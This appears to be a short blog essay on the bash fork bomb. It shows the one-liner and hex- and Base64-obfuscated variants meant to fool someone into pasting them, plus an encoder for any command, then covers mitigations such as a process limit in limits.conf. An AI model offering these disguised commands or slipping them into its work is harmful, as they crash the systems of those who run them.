Forks

This is a 'fork bomb':

:(){ :|: & };:

In bash (and probably bash-like shells) this declares a function named :, and defines that function as a call to itself, piped into a call to itself, which is then forked.  The result is endless forking of a non-terminating program that calls itself twice per call.  The last : initiates the bomb.

This is a script kiddy basic, and will badly hang/crash many systems.

Let's add some trivial obfuscation with a few more kiddy basics.  Let's say your would-be victim is wise to the fork bomb, but still gullible enough to copy and paste something into their terminal:

$(echo 0x77686f616d690a | xxd -r)

The above will execute whoami, and so will result in your username being printed in the terminal.  xxd is a hexadecimal converter, here being used to go from hex-> ASCII, and the result is then executed with the $() construct, via command substitution.  Whatever the result of evaluating what's between the parentheses will be executed.  Here's the fork bomb version:

$(echo 0x3a28297b203a7c3a2026207d3b3a0a | xxd -r)

Any encoding scheme can be used like this.  The following is the fork bomb in Base64:

$(echo OigpeyA6fDogJiB9OzoK | base64 -d)

The fork bomb is an example of why one shouldn't run code they don't understand, and demonstrates a fundamental difficulty of the post Aristotelian world: reliance on systems you don't fully understand.  I'm skeptical of anyone who claims to 'know how it works', and annoy people I talk to in what's probably a vain attempt to 'never' say 'I know'.  Here, I understand the systems involved well enough to not copy and paste this into a terminal and press enter, except in cases of extreme nihilism.

If we consider the Tao of hacking, and consider some of the fundamental hacker precepts, one might wonder how the ethos of well... just try it! is balanced.  I don't understand every aspect of how my computer works from the hardware all the up to HTML, but I understand it sufficiently to often just try it!.  This observation leads to our first mitigation technique - a non-technical one: don't try it.

Now let's consider a technical mitigation: limiting the maximum number of processes a user may run at one time.  In Linux, this can be managed by modifying /etc/security/limits.conf.  Hard limiting a user's maximum number of processes, nproc, to say 20 (as suggested by the designer's comments), will prevent the fork bomb from doing much more than showing a slowly increasing number of fork complaints. Adding the following line will do the trick:

<username>    hard    nproc    20

We've now developed two mitigations.  The first requires little to no specific understanding, while the second requires some systems knowledge.  I can, to mitigate the risk of running damaging code, either not run said code, or develop an understanding of the code such that I am able to implement a technical defense and then run it safely.  More abstractly, I can either remain in the small domain of interaction with a system that I understand, or spend time developing a better understanding of the system, thereby expanding my domain.  The first approach costs the time and energy required to develop system-specific knowledge.  The second approach costs experience as it dramatically reduces the potential benefits of just try it!

There is no free lunch here.

**The following will create the 'obfuscated' hex string used in the above example:

echo "0x$(echo your_command | xxd -ps)"